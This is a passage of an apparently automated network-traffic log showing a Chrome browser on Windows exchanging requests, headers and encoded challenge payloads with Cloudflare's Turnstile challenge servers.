2024-12-24 14:06:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 55 00 00 00 54 08 02 00 00 00 7c cb ec a8 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRUT\|IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49773	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:41 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8f71270faa3f423a/1735049197089/RNQ7OOfTgli-F5R HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:41 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:41 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f712744fa7a8c77-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 55 00 00 00 54 08 02 00 00 00 7c cb ec a8 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRUT\|IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49774	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:42 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8f71270faa3f423a/1735049197093/4d817d3c4d7367ea88d3e4c448db4fd7f0e9c1b3844763606733f21905384022/4-si6UbIXrCDaOH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:42 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 24 Dec 2024 14:06:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-24 14:06:42 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 54 59 46 39 50 45 31 7a 5a 2d 71 49 30 2d 54 45 53 4e 74 50 31 5f 44 70 77 62 4f 45 52 32 4e 67 5a 7a 50 79 47 51 55 34 51 43 49 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gTYF9PE1zZ-qI0-TESNtP1_DpwbOER2NgZzPyGQU4QCIAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-24 14:06:42 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49775	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:44 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31420 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:44 UTC	16384	OUT	Data Raw: 76 5f 38 66 37 31 32 37 30 66 61 61 33 66 34 32 33 61 3d 79 71 45 76 43 4c 73 42 6c 47 71 73 6c 64 42 73 36 48 51 48 5a 64 4b 48 4f 48 54 76 34 2d 48 6e 48 44 48 7a 6d 77 62 69 42 48 58 48 45 38 62 6c 73 59 4c 73 61 73 48 2d 2d 64 71 55 2d 48 34 4b 48 55 2d 73 47 48 42 2d 2d 70 45 45 48 50 71 73 38 4b 5a 58 62 48 38 48 4c 6c 73 25 32 62 48 64 45 73 58 38 6a 50 76 48 7a 48 64 6c 71 48 38 64 2b 73 6c 79 32 59 42 62 6b 74 49 6e 48 35 4f 68 64 57 76 6a 45 54 35 65 4b 48 48 59 6c 48 51 70 48 6c 65 76 73 58 48 55 59 48 56 76 48 36 68 76 4c 36 2d 6e 69 74 48 4b 71 48 6f 39 4b 6b 4e 38 64 4f 78 2d 48 74 65 39 4b 61 4b 36 69 77 50 48 2b 47 4c 2d 2b 58 6b 4c 61 62 68 76 48 55 6b 78 69 74 42 4c 71 48 7a 54 65 4e 65 6c 30 68 50 63 36 30 48 50 49 44 46 33 6b 46 56 36 Data Ascii: v_8f71270faa3f423a=yqEvCLsBlGqsldBs6HQHZdKHOHTv4-HnHDHzmwbiBHXHE8blsYLsasH--dqU-H4KHU-sGHB--pEEHPqs8KZXbH8HLls%2bHdEsX8jPvHzHdlqH8d+sly2YBbktInH5OhdWvjET5eKHHYlHQpHlevsXHUYHVvH6hvL6-nitHKqHo9KkN8dOx-Hte9KaK6iwPH+GL-+XkLabhvHUkxitBLqHzTeNel0hPc60HPIDF3kFV6
2024-12-24 14:06:44 UTC	15036	OUT	Data Raw: 54 48 36 6c 45 76 64 4e 48 6a 73 32 45 30 4b 65 76 36 75 75 32 57 33 73 2d 73 59 48 70 48 64 2d 48 6a 48 56 62 36 6f 70 72 44 59 6c 2b 62 73 6f 48 73 45 2b 6e 73 72 2d 70 76 4b 4b 73 6e 57 4b 45 4c 71 48 64 4f 4b 2d 2b 4b 73 35 48 47 2d 69 58 76 54 48 7a 2d 69 6e 48 5a 62 4b 48 73 65 48 2b 48 59 62 4c 76 48 43 48 35 48 4b 54 73 5a 48 36 62 48 42 48 35 61 64 62 64 68 35 65 6c 47 36 2b 43 76 63 48 47 76 55 4e 48 6f 48 58 36 48 59 2b 6f 48 4f 76 79 6c 4c 36 48 46 76 6b 59 2b 36 48 53 76 35 71 4c 55 48 39 76 50 71 2b 57 48 41 76 35 4b 2b 52 48 6c 2d 6b 71 2b 70 48 66 76 55 4b 4c 50 48 54 2d 45 4b 2b 50 48 68 2d 6b 4e 4c 70 48 58 2d 45 6e 2b 24 48 52 2d 50 4e 4c 37 48 4f 2d 6a 4e 2b 30 48 43 2d 6a 6e 4c 39 48 37 2d 55 65 2b 37 48 53 2d 56 43 68 4e 76 34 50 76 Data Ascii: TH6lEvdNHjs2E0Kev6uu2W3s-sYHpHd-HjHVb6oprDYl+bsoHsE+nsr-pvKKsnWKELqHdOK-+Ks5HG-iXvTHz-inHZbKHseH+HYbLvHCH5HKTsZH6bHBH5adbdh5elG6+CvcHGvUNHoHX6HY+oHOvylL6HFvkY+6HSv5qLUH9vPq+WHAv5K+RHl-kq+pHfvUKLPHT-EK+PHh-kNLpHX-En+$HR-PNL7HO-jN+0HC-jnL9H7-Ue+7HS-VChNv4Pv
2024-12-24 14:06:44 UTC	330	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:44 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26336 Connection: close cf-chl-gen: qC/iFp/KE1iaAPM0unrqblJ2bRgHrqnLUuZwv01L8dw8iIx5ffWIxg1H+8OHB5tAgpY3Ug01UsybQ4QU$pT/ggC5GESaJ7ga+ Server: cloudflare CF-RAY: 8f7127578e43435c-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:44 UTC	1039	IN	Data Raw: 71 72 61 66 6a 71 4f 68 64 70 61 32 6c 6f 57 59 73 38 75 72 69 72 61 6a 70 34 71 69 77 6f 36 4f 70 73 66 53 7a 70 72 4c 76 4c 69 70 6d 73 2b 72 72 63 47 63 75 4d 66 62 35 38 4c 47 75 4e 6a 6f 70 4c 33 68 75 38 48 7a 31 4f 58 43 77 65 62 6e 79 39 4f 75 7a 64 6a 48 75 41 44 65 7a 38 54 68 37 39 6e 38 42 63 67 41 2f 64 76 65 36 66 44 2b 34 65 4d 45 34 2b 48 32 34 51 54 74 30 67 76 58 46 68 6a 61 49 41 76 33 42 4e 66 75 4a 66 77 55 4c 41 77 63 41 76 6b 50 4a 43 73 51 45 68 59 45 45 78 54 77 46 78 62 30 47 6a 49 34 4c 52 49 34 51 77 30 5a 51 41 38 32 43 43 49 43 43 45 70 44 41 54 31 48 51 45 59 4d 44 56 63 2f 4a 78 68 57 56 52 49 79 47 6a 52 41 54 6c 67 38 4e 53 4a 62 58 6d 41 33 58 47 49 6c 48 32 64 6f 51 55 46 43 54 57 6f 73 4c 6d 59 31 57 6d 35 38 65 6b 77 Data Ascii: qrafjqOhdpa2loWYs8urirajp4qiwo6OpsfSzprLvLipms+rrcGcuMfb58LGuNjopL3hu8Hz1OXCwebny9OuzdjHuADez8Th79n8BcgA/dve6fD+4eME4+H24QTt0gvXFhjaIAv3BNfuJfwULAwcAvkPJCsQEhYEExTwFxb0GjI4LRI4Qw0ZQA82CCICCEpDAT1HQEYMDVc/JxhWVRIyGjRATlg8NSJbXmA3XGIlH2doQUFCTWosLmY1Wm58ekw
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 43 6e 38 36 6e 77 36 44 53 76 63 4b 68 77 4e 58 59 6c 71 2b 31 6c 72 6d 73 30 74 72 43 7a 37 65 67 75 4e 76 50 30 4e 61 70 77 74 72 70 34 71 7a 49 34 4b 54 4b 76 71 37 75 74 63 37 46 77 2b 66 4e 74 62 76 55 75 64 6d 39 38 62 62 69 2b 2f 67 4b 35 4e 4c 72 79 4f 6e 59 2b 76 76 64 34 50 76 51 36 67 37 68 37 75 72 70 43 66 6e 7a 37 68 50 64 46 39 2f 34 45 2f 73 45 35 66 49 6e 4a 78 62 6e 46 68 38 49 4a 68 4c 70 42 52 30 76 4d 66 49 52 42 2f 55 78 48 44 54 34 49 51 77 79 44 67 41 6a 4d 68 6b 6e 52 78 35 49 42 53 55 4b 43 77 63 70 4d 30 49 4c 4c 54 64 42 4a 78 52 53 56 52 73 38 58 6b 6c 4d 53 6b 31 51 55 44 6c 4f 47 56 55 6c 4b 56 39 6f 4c 43 42 50 62 31 77 74 61 58 45 76 61 6d 46 4f 63 6b 6c 5a 50 45 70 38 63 44 6c 57 55 6e 78 4f 67 55 35 2b 64 56 53 4a 58 48 Data Ascii: Cn86nw6DSvcKhwNXYlq+1lrms0trCz7eguNvP0Napwtrp4qzI4KTKvq7utc7Fw+fNtbvUudm98bbi+/gK5NLryOnY+vvd4PvQ6g7h7urpCfnz7hPdF9/4E/sE5fInJxbnFh8IJhLpBR0vMfIRB/UxHDT4IQwyDgAjMhknRx5IBSUKCwcpM0ILLTdBJxRSVRs8XklMSk1QUDlOGVUlKV9oLCBPb1wtaXEvamFOcklZPEp8cDlWUnxOgU5+dVSJXH
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 30 64 47 77 71 71 69 55 73 4b 37 4e 79 71 61 58 79 4d 69 33 74 4b 44 43 74 4c 61 33 6f 2b 4c 46 74 4b 54 58 6f 4e 36 2f 36 73 54 52 34 65 76 48 38 38 62 75 31 76 6e 34 74 2f 72 33 75 4f 48 32 34 67 62 43 7a 74 4c 68 32 75 4c 65 76 75 62 69 36 51 54 4e 33 78 44 39 43 66 44 51 31 52 76 31 47 75 7a 33 44 64 63 68 2f 41 45 66 42 42 58 6a 43 52 30 72 4b 77 62 32 35 51 6f 6f 48 43 6b 45 46 4f 6f 6c 4b 53 41 36 41 77 63 4d 47 69 6b 63 49 53 49 67 44 2f 6f 41 49 77 48 35 46 79 4e 45 48 42 6b 6d 50 69 31 53 4c 67 73 2f 4d 7a 55 30 4e 54 6b 77 4b 45 63 54 54 56 46 49 59 43 73 76 4e 45 4a 53 4d 79 42 62 53 7a 68 58 58 31 73 71 55 54 39 73 50 55 45 77 4c 56 4d 34 52 6e 64 38 66 46 4a 4f 61 45 70 39 53 6e 70 78 55 49 52 35 65 57 6d 41 56 6e 35 6c 65 32 39 78 68 34 46 Data Ascii: 0dGwqqiUsK7NyqaXyMi3tKDCtLa3o+LFtKTXoN6/6sTR4evH88bu1vn4t/r3uOH24gbCztLh2uLevubi6QTN3xD9CfDQ1Rv1Guz3Ddch/AEfBBXjCR0rKwb25QooHCkEFOolKSA6AwcMGikcISIgD/oAIwH5FyNEHBkmPi1SLgs/MzU0NTkwKEcTTVFIYCsvNEJSMyBbSzhXX1sqUT9sPUEwLVM4Rnd8fFJOaEp9SnpxUIR5eWmAVn5le29xh4F
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 4b 75 75 78 36 6d 73 79 63 75 74 73 4d 50 50 73 62 54 44 30 37 57 34 36 64 65 35 76 4f 6e 62 76 63 44 73 76 62 32 7a 38 4d 54 32 77 39 6e 34 30 74 37 36 39 75 2f 4b 38 51 62 51 35 4c 2f 65 35 75 66 55 36 2b 34 43 34 51 7a 61 42 77 58 64 34 42 66 66 38 65 76 6b 47 68 44 75 35 74 34 50 34 42 44 65 38 68 66 38 45 78 67 57 2f 75 67 6c 4c 66 6f 64 43 41 77 46 4d 66 30 4a 46 7a 45 59 43 51 34 56 43 52 6b 51 46 42 33 34 47 68 72 37 51 76 78 46 53 6b 49 46 44 44 73 36 44 78 30 39 53 44 51 50 48 77 78 48 51 69 49 78 54 55 55 6f 53 6b 30 35 4b 79 30 36 47 6a 41 67 59 46 39 6c 58 47 46 5a 58 6d 78 45 61 47 30 70 52 32 46 6d 64 48 4a 77 64 58 74 71 52 46 78 75 61 6d 78 79 62 58 56 61 56 56 31 36 61 55 53 43 67 31 74 36 67 57 57 45 61 30 78 69 69 57 43 48 59 49 75 47 Data Ascii: Kuux6msycutsMPPsbTD07W46de5vOnbvcDsvb2z8MT2w9n40t769u/K8QbQ5L/e5ufU6+4C4QzaBwXd4Bff8evkGhDu5t4P4BDe8hf8ExgW/uglLfodCAwFMf0JFzEYCQ4VCRkQFB34Ghr7QvxFSkIFDDs6Dx09SDQPHwxHQiIxTUUoSk05Ky06GjAgYF9lXGFZXmxEaG0pR2FmdHJwdXtqRFxuamxybXVaVV16aUSCg1t6gWWEa0xiiWCHYIuG
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 61 66 72 35 75 61 6f 72 4c 62 78 36 50 6b 34 61 53 6b 70 73 79 6d 72 72 37 4a 7a 2b 76 48 78 65 50 77 38 63 6e 79 39 4e 44 64 38 50 66 4b 75 75 49 41 32 75 54 55 42 4d 62 71 79 63 62 6a 2f 50 33 44 38 50 7a 65 46 68 4d 45 37 76 55 57 30 68 34 5a 2f 64 55 58 2b 77 51 52 45 53 59 59 42 77 51 54 33 42 63 58 4c 4f 55 4b 37 53 55 67 4e 53 6b 6e 37 66 45 72 45 6a 55 57 39 44 45 65 50 51 44 37 41 67 45 45 52 42 30 54 45 6b 73 4b 52 45 6f 49 53 79 5a 4e 54 51 55 76 4d 42 42 43 45 69 70 59 47 42 6b 62 57 54 51 53 48 42 39 4f 59 56 30 66 54 79 49 7a 59 79 6b 69 56 69 56 5a 61 47 78 75 58 55 70 79 4d 57 42 70 57 54 56 6d 63 44 56 2f 61 58 67 33 66 46 68 66 64 49 52 61 5a 34 47 4c 59 56 74 2b 52 6b 31 4b 67 35 4e 54 58 6c 57 52 56 70 6c 34 6c 57 35 61 68 70 65 58 56 Data Ascii: afr5uaorLbx6Pk4aSkpsymrr7Jz+vHxePw8cny9NDd8PfKuuIA2uTUBMbqycbj/P3D8PzeFhME7vUW0h4Z/dUX+wQRESYYBwQT3BcXLOUK7SUgNSkn7fErEjUW9DEePQD7AgEERB0TEksKREoISyZNTQUvMBBCEipYGBkbWTQSHB9OYV0fTyIzYykiViVZaGxuXUpyMWBpWTVmcDV/aXg3fFhfdIRaZ4GLYVt+Rk1Kg5NTXlWRVpl4lW5ahpeXV
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 7a 32 72 76 61 33 4f 53 2b 6f 4c 66 5a 77 74 7a 4b 34 4c 48 4c 37 4e 6a 36 2b 65 7a 55 75 64 50 73 33 66 76 43 2f 4e 33 42 32 64 37 6e 43 77 58 43 39 4d 72 39 41 67 76 66 41 39 38 48 35 42 63 42 45 65 58 6a 34 77 2f 74 44 74 6f 5a 38 2f 67 61 47 75 44 76 49 68 77 6f 36 75 6b 66 35 68 6f 68 43 41 41 49 2f 69 66 74 39 68 59 36 38 6a 59 4c 4c 7a 6a 2b 4c 52 64 44 48 44 30 39 47 42 45 32 4e 77 59 37 47 45 51 66 47 44 34 38 49 55 4a 47 54 79 52 54 49 45 49 72 52 54 4e 4a 47 6a 52 56 51 57 4e 69 56 54 30 69 50 46 56 47 5a 43 74 6c 52 69 70 43 52 31 42 7a 62 53 74 64 52 30 46 51 5a 55 68 46 54 48 55 36 65 33 5a 33 56 45 31 51 64 31 52 67 63 58 64 59 69 32 74 59 53 49 74 72 63 6b 74 6e 55 33 56 4e 62 58 4e 34 55 6f 52 7a 68 56 57 4c 65 71 4a 61 59 6d 4a 36 64 4b Data Ascii: z2rva3OS+oLfZwtzK4LHL7Nj6+ezUudPs3fvC/N3B2d7nCwXC9Mr9AgvfA98H5BcBEeXj4w/tDtoZ8/gaGuDvIhwo6ukf5hohCAAI/ift9hY68jYLLzj+LRdDHD09GBE2NwY7GEQfGD48IUJGTyRTIEIrRTNJGjRVQWNiVT0iPFVGZCtlRipCR1BzbStdR0FQZUhFTHU6e3Z3VE1Qd1RgcXdYi2tYSItrcktnU3VNbXN4UoRzhVWLeqJaYmJ6dK
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 37 73 50 64 77 72 76 54 34 38 58 32 36 65 62 4a 31 50 48 75 7a 73 6a 78 37 38 37 79 7a 2f 4c 58 33 37 37 33 32 2f 72 66 2b 64 33 2b 33 2b 37 68 37 41 59 4e 35 65 44 66 42 2b 6e 30 36 77 6a 74 39 77 41 54 38 66 76 69 45 76 55 58 41 42 66 35 4b 75 49 64 2b 68 38 49 48 51 45 4e 2b 79 77 46 45 51 41 70 43 6a 72 36 47 77 38 49 2f 6a 49 53 4d 76 34 39 46 53 45 36 4f 78 6f 6b 4c 44 38 67 50 79 68 42 49 6c 4d 6b 52 79 56 48 4a 45 67 6e 53 7a 42 50 4c 54 6c 53 54 6a 4a 6a 4e 46 30 32 56 7a 68 48 4f 6d 74 41 57 54 31 49 4c 31 39 42 59 6a 4e 69 52 6c 42 59 61 6b 6c 56 53 47 74 4f 62 30 68 73 56 48 4e 51 63 6c 4e 33 58 48 64 61 65 31 78 2b 58 57 6c 6f 69 57 4b 43 54 33 4e 6c 68 32 69 51 61 59 70 54 69 6d 35 35 6b 70 46 30 66 49 53 58 64 61 5a 66 6c 58 74 31 67 4a 35 Data Ascii: 7sPdwrvT48X26ebJ1PHuzsjx787yz/LX37732/rf+d3+3+7h7AYN5eDfB+n06wjt9wAT8fviEvUXABf5KuId+h8IHQEN+ywFEQApCjr6Gw8I/jISMv49FSE6OxokLD8gPyhBIlMkRyVHJEgnSzBPLTlSTjJjNF02VzhHOmtAWT1IL19BYjNiRlBYaklVSGtOb0hsVHNQclN3XHdae1x+XWloiWKCT3Nlh2iQaYpTim55kpF0fISXdaZflXt1gJ5
2024-12-24 14:06:44 UTC	1369	IN	Data Raw: 76 47 31 35 37 62 46 7a 64 76 64 79 76 66 61 30 2f 76 57 33 2b 58 53 2f 73 58 62 42 4e 37 6e 37 64 6f 49 2f 51 51 4c 45 76 76 50 35 67 50 72 41 52 62 6a 2b 77 2f 72 43 52 45 53 37 78 77 53 41 2f 55 42 2b 77 6f 71 41 51 41 56 4b 76 63 51 49 77 50 37 4a 68 4d 30 4a 78 63 72 43 44 51 71 47 7a 6f 75 43 76 78 43 44 44 77 42 45 68 6e 39 47 55 59 36 46 6b 6f 63 4b 45 49 76 54 68 30 79 44 53 4e 51 4e 45 78 56 53 6b 51 57 4c 30 68 61 50 31 35 6a 51 31 63 30 59 47 5a 48 5a 57 70 65 53 32 73 35 54 69 30 2f 62 47 5a 6f 63 6d 5a 67 4e 6b 74 6a 4f 31 74 33 66 31 39 7a 55 48 78 75 59 34 52 32 66 58 79 45 53 6f 5a 39 6a 57 6c 76 67 32 43 4c 55 33 4f 51 56 70 4b 4a 6d 58 53 4f 65 35 68 65 6d 70 43 68 66 59 4f 58 64 4b 43 65 68 36 52 71 70 70 79 74 69 4b 4b 50 72 48 4b 75 Data Ascii: vG157bFzdvdyvfa0/vW3+XS/sXbBN7n7doI/QQLEvvP5gPrARbj+w/rCRES7xwSA/UB+woqAQAVKvcQIwP7JhM0JxcrCDQqGzouCvxCDDwBEhn9GUY6FkocKEIvTh0yDSNQNExVSkQWL0haP15jQ1c0YGZHZWpeS2s5Ti0/bGZocmZgNktjO1t3f19zUHxuY4R2fXyESoZ9jWlvg2CLU3OQVpKJmXSOe5hempChfYOXdKCeh6RqppytiKKPrHKu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49776	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:46 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:46 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 14:06:46 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 4H9CfikJnfUs6rUbY27l2tvlPSspQc/SJ98=$aioFUWaSM4hlLMme cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f7127652d4c42f5-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:46 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49777	104.18.94.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:53 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33804 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:53 UTC	16384	OUT	Data Raw: 76 5f 38 66 37 31 32 37 30 66 61 61 33 66 34 32 33 61 3d 79 71 45 76 43 4c 73 42 6c 47 71 73 6c 64 42 73 36 48 51 48 5a 64 4b 48 4f 48 54 76 34 2d 48 6e 48 44 48 7a 6d 77 62 69 42 48 58 48 45 38 62 6c 73 59 4c 73 61 73 48 2d 2d 64 71 55 2d 48 34 4b 48 55 2d 73 47 48 42 2d 2d 70 45 45 48 50 71 73 38 4b 5a 58 62 48 38 48 4c 6c 73 25 32 62 48 64 45 73 58 38 6a 50 76 48 7a 48 64 6c 71 48 38 64 2b 73 6c 79 32 59 42 62 6b 74 49 6e 48 35 4f 68 64 57 76 6a 45 54 35 65 4b 48 48 59 6c 48 51 70 48 6c 65 76 73 58 48 55 59 48 56 76 48 36 68 76 4c 36 2d 6e 69 74 48 4b 71 48 6f 39 4b 6b 4e 38 64 4f 78 2d 48 74 65 39 4b 61 4b 36 69 77 50 48 2b 47 4c 2d 2b 58 6b 4c 61 62 68 76 48 55 6b 78 69 74 42 4c 71 48 7a 54 65 4e 65 6c 30 68 50 63 36 30 48 50 49 44 46 33 6b 46 56 36 Data Ascii: v_8f71270faa3f423a=yqEvCLsBlGqsldBs6HQHZdKHOHTv4-HnHDHzmwbiBHXHE8blsYLsasH--dqU-H4KHU-sGHB--pEEHPqs8KZXbH8HLls%2bHdEsX8jPvHzHdlqH8d+sly2YBbktInH5OhdWvjET5eKHHYlHQpHlevsXHUYHVvH6hvL6-nitHKqHo9KkN8dOx-Hte9KaK6iwPH+GL-+XkLabhvHUkxitBLqHzTeNel0hPc60HPIDF3kFV6
